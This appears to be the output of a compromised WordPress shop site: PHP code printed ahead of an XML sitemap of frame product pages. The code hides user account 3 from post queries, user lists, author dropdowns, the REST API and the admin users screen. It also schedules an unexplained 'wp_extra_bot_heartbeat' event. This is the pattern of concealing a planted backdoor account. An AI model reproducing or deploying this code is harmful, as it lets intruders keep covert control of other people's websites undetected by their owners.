add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 3;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 3;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 3;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-3{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://properaparel.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://properaparel.com/product/tulip-frame/</loc><lastmod>2025-06-29T14:19:04+00:00</lastmod></url><url><loc>https://properaparel.com/product/arora-frame/</loc><lastmod>2025-06-29T14:19:03+00:00</lastmod></url><url><loc>https://properaparel.com/product/yellow-frame/</loc><lastmod>2025-06-29T14:19:03+00:00</lastmod></url><url><loc>https://properaparel.com/product/scandinavia-frame/</loc><lastmod>2025-06-29T14:19:03+00:00</lastmod></url><url><loc>https://properaparel.com/product/peach-frame/</loc><lastmod>2025-06-29T14:19:03+00:00</lastmod></url><url><loc>https://properaparel.com/product/japan-frame/</loc><lastmod>2025-06-29T14:19:03+00:00</lastmod></url><url><loc>https://properaparel.com/product/nature-frame/</loc><lastmod>2025-06-29T14:19:02+00:00</lastmod></url><url><loc>https://properaparel.com/product/desert-frame/</loc><lastmod>2025-06-29T14:19:02+00:00</lastmod></url><url><loc>https://properaparel.com/product/spring-frame/</loc><lastmod>2025-06-29T14:19:02+00:00</lastmod></url><url><loc>https://properaparel.com/product/golden-frame/</loc><lastmod>2025-06-29T14:19:02+00:00</lastmod></url><url><loc>https://properaparel.com/product/silver-frame/</loc><lastmod>2025-06-29T14:19:01+00:00</lastmod></url><url><loc>https://properaparel.com/product/black-frame/</loc><lastmod>2025-06-29T14:19:01+00:00</lastmod></url><url><loc>https://properaparel.com/product/desert-frame-2/</loc><lastmod>2025-06-29T14:19:00+00:00</lastmod></url></urlset>